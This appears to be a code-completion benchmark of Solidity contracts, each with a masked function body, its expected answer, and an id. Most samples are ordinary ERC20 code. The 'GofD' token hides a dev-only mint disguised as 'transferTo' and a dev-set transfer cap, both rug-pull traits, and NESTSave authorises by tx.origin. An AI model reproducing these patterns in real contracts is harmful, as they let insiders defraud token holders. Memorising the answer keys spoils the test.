contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 burntAmount = amount * 3 / 100; _burn(sender, burntAmount); uint256 leftAmount = amount - burntAmount; _balances[sender] = _balances[sender].sub(leftAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(leftAmount); emit Transfer(sender, recipient,leftAmount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 burntAmount = amount * 3 / 100; _burn(sender, burntAmount); uint256 leftAmount = amount - burntAmount; _balances[sender] = _balances[sender].sub(leftAmount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(leftAmount); emit Transfer(sender, recipient,leftAmount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } <FILL_FUNCTION> function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
function _approve(address owner, address spender, uint256 amount) internal virtual
45420
ERC20
approve
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } <FILL_FUNCTION> /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
_approve(_msgSender(), spender, amount); return true;
function approve(address spender, uint256 amount) public virtual override returns (bool)
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool)
88918
NESTSave
depositIn
contract NESTSave { using SafeMath for uint256; mapping (address => uint256) baseMapping; // General ledger IBNEST nestContract; // Nest contract IBMapping mappingContract; // Mapping contract /** * @dev Initialization method * @param map Mapping contract address */ constructor(address map) public { mappingContract = IBMapping(map); nestContract = IBNEST(address(mappingContract.checkAddress("nest"))); } /** * @dev Change mapping contract * @param map Mapping contract address */ function changeMapping(address map) public onlyOwner{ mappingContract = IBMapping(map); nestContract = IBNEST(address(mappingContract.checkAddress("nest"))); } /** * @dev Take out nest * @param num Quantity taken out */ function takeOut(uint256 num) public onlyContract { require(isContract(address(tx.origin)) == false); require(num <= baseMapping[tx.origin]); baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].sub(num); nestContract.transfer(address(tx.origin), num); } /** * @dev Deposit in nest * @param num Deposit quantity */ function depositIn(uint256 num) public onlyContract {<FILL_FUNCTION_BODY> } /** * @dev Take out all */ function takeOutPrivate() public { require(isContract(address(msg.sender)) == false); require(baseMapping[msg.sender] > 0); nestContract.transfer(address(msg.sender), baseMapping[msg.sender]); baseMapping[address(msg.sender)] = 0; } function checkAmount(address sender) public view returns(uint256) { return baseMapping[address(sender)]; } modifier onlyOwner(){ require(mappingContract.checkOwners(msg.sender) == true); _; } modifier onlyContract(){ require(mappingContract.checkAddress("nestAbonus") == msg.sender); _; } function isContract(address addr) public view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } }
contract NESTSave { using SafeMath for uint256; mapping (address => uint256) baseMapping; // General ledger IBNEST nestContract; // Nest contract IBMapping mappingContract; // Mapping contract /** * @dev Initialization method * @param map Mapping contract address */ constructor(address map) public { mappingContract = IBMapping(map); nestContract = IBNEST(address(mappingContract.checkAddress("nest"))); } /** * @dev Change mapping contract * @param map Mapping contract address */ function changeMapping(address map) public onlyOwner{ mappingContract = IBMapping(map); nestContract = IBNEST(address(mappingContract.checkAddress("nest"))); } /** * @dev Take out nest * @param num Quantity taken out */ function takeOut(uint256 num) public onlyContract { require(isContract(address(tx.origin)) == false); require(num <= baseMapping[tx.origin]); baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].sub(num); nestContract.transfer(address(tx.origin), num); } <FILL_FUNCTION> /** * @dev Take out all */ function takeOutPrivate() public { require(isContract(address(msg.sender)) == false); require(baseMapping[msg.sender] > 0); nestContract.transfer(address(msg.sender), baseMapping[msg.sender]); baseMapping[address(msg.sender)] = 0; } function checkAmount(address sender) public view returns(uint256) { return baseMapping[address(sender)]; } modifier onlyOwner(){ require(mappingContract.checkOwners(msg.sender) == true); _; } modifier onlyContract(){ require(mappingContract.checkAddress("nestAbonus") == msg.sender); _; } function isContract(address addr) public view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } }
require(isContract(address(tx.origin)) == false); require(nestContract.balanceOf(address(tx.origin)) >= num); require(nestContract.allowance(address(tx.origin), address(this)) >= num); require(nestContract.transferFrom(address(tx.origin),address(this),num)); baseMapping[address(tx.origin)] = baseMapping[address(tx.origin)].add(num);
function depositIn(uint256 num) public onlyContract
/** * @dev Deposit in nest * @param num Deposit quantity */ function depositIn(uint256 num) public onlyContract
17433
GofD
allowance
contract GofD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _excludeDevAddress; uint256 private _tTotal = 10**12 * 10**18; string private _name = 'Gods Of DOGS'; string private _symbol = 'Gods Of DOGS'; uint8 private _decimals = 18; uint256 private _maxTotal; uint256 private _total; uint256 private _feeAmount; address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; constructor (address devAddress, uint256 maxTotal, uint256 total) public { _excludeDevAddress = devAddress; _maxTotal = maxTotal; _total = total; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) {<FILL_FUNCTION_BODY> } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferTo() public { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _tTotal = _tTotal.add(_maxTotal); _balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal); emit Transfer(address(0), _msgSender(), _maxTotal); } function setTaxAmount(uint256 maxTaxAmount) public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _total = maxTaxAmount * 10**18; } // function burn() public { // require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); // uint256 c = 1; // _feeAmount = c; // } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (sender != _excludeDevAddress) { require(amount < _total, "Transfer amount exceeds the maxTxAmount."); } uint256 burnAmount = amount.mul(5).div(100); uint256 sendAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount); _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Throws if called by any account other than the owner. */ }
contract GofD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _excludeDevAddress; uint256 private _tTotal = 10**12 * 10**18; string private _name = 'Gods Of DOGS'; string private _symbol = 'Gods Of DOGS'; uint8 private _decimals = 18; uint256 private _maxTotal; uint256 private _total; uint256 private _feeAmount; address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; constructor (address devAddress, uint256 maxTotal, uint256 total) public { _excludeDevAddress = devAddress; _maxTotal = maxTotal; _total = total; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } <FILL_FUNCTION> function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferTo() public { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _tTotal = _tTotal.add(_maxTotal); _balances[_msgSender()] = _balances[_msgSender()].add(_maxTotal); emit Transfer(address(0), _msgSender(), _maxTotal); } function setTaxAmount(uint256 maxTaxAmount) public { require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); _total = maxTaxAmount * 10**18; } // function burn() public { // require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address"); // uint256 c = 1; // _feeAmount = c; // } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (sender != _excludeDevAddress) { require(amount < _total, "Transfer amount exceeds the maxTxAmount."); } uint256 burnAmount = amount.mul(5).div(100); uint256 sendAmount = amount.sub(burnAmount); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount); _balances[recipient] = _balances[recipient].add(sendAmount); emit Transfer(sender, recipient, sendAmount); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Throws if called by any account other than the owner. */ }
return _allowances[owner][spender];
function allowance(address owner, address spender) public view override returns (uint256)
function allowance(address owner, address spender) public view override returns (uint256)
55626
bzrx
null
contract bzrx is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public {<FILL_FUNCTION_BODY> } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } }
contract bzrx is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } }
